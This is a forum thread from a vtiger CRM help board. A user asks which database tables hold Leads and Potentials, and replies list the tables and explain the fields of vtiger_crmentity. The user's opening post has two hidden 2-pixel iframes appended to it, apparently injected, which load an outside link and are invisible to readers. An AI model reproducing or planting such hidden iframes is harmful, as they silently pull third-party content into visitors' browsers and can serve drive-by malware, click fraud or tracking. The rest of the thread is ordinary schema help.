In which Tables, the Leads and Potintilas are saved??

edited October 2006 in Help - 5.0.2 Vote Up0Vote Down
plz help
i,need to wright my own script, so
In which Tables the Leads and Potintilas are saved?? <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 5 Comments sorted by Votes Date Added
  • gulle,

    i have a hunch that you might want to wait until rc1 before writing your scripts. i think the tables have been renamed so that vtiger can be intergrated with other systems without having table name conflicts.

    regards,
  • dear gulle,

    you can find the tables name from $tab_name array in <module_name>.php file. i list out tables name for leads and potentials module here.
    for others you can refer respective module.php file.

    leads info are saved in the following tables
    in vtigercrm5 beta2

    vtiger_leaddetails
    vtiger_leadsubdetails
    vtiger_leadaddress [leads address info will be stored]
    vtiger_leadscf [leads customfield info will be stored]
    vtiger_crmentity

    in previous versions of vtigercrm

    leaddetails
    eadsubdetails
    leadaddress
    leadscf
    crmentity


    potentials info are saved in the following tables
    in vtigercrm5 beta2

    vtiger_potential
    vtiger_potentialscf
    vtiger_crmentity

    in previous versions of vtigercrm

    potential
    potentialscf
    crmentity

    i hope this helps you.

    thanks & regards,
    minnie.
  • hi,

    what is the vtiger_crmentity table used for?

    what is the purpose of smcreatorid, smownerid.


    stephen
  • hi stephenboey,

    vtiger_crmentity is the root table, the mother of all crm entities/objects. all objects are linked to this table and it provides root information about all objects, and as you asked:
    what is the purpose of smcreatorid, smownerid.

    thes two fields hold the
    sm-creator-id, the creator of this object's id
    sm-owner-id, the owner id which is not necessary the same as the creator.

    this table also holds information on:

    ‘setype’ the object name/type ie accounts, potentials, quotes etc
    ‘description‘ the objects description, a global property to all objects, describing it.

    the number of records in this table indicate the number of object in the system, both deleted and active (deleted objects are only flagged as deleted). if you queried the table, counting/grouping the selection on ‘setype’ (object name), you would find out how many objects you have.

    you could also query on 'deleted' objects to see what ballast you are carrying. just a thought for all you developers, do we have a 'purge' function or a purge 'accounts', purge 'all' etc.
    would be nice to be able to wipe the table clean, if you excuse the pun.

    the importance of this table is also seen in the programming class structure. it is the class that most, if not all objects are derived from.
    it inherits its properties and processes to all its children. ie leads, accounts, contacts etc

    summary

    table: vtiger_crmentity
      crmid - table id smcreatorid – user id that created the object (wonder if table cascading is implemented, ie delete a user will delete all subordinate objects – would be interesting) smownerid - believe this is is where the ‘assigned to’ id lives modifiedby - modified user id setype - object type-name ie calendar, leads, campaigns, quotes, accounts, … etc description - generic description createdtime - object creation datetime modifiedtime - object modification datetime viewedtime - ?? is this being used status - ?? is this being used version - ?? is this being used presence -?? is this being used and for what purpose deleted - deleted status [/list:u] thanks for your question, needed to put something down in writing for my documentation. what might be a much better idea it to introduce this to ‘our’ documentation. human writings and definitions, snippets and comments on all the vtiger tables would be of great use to me for a start. just remembered, i use the case studio tool (<!-- w --><a class="postlink" href="http://www.casestudio.com">www.casestudio.com</a><!-- w -->) which makes great documentation, will look into its feasibility and think about how to implement it not sure where this should go but am sure that definitions, descriptions and community input would be of benefit.
This discussion has been closed.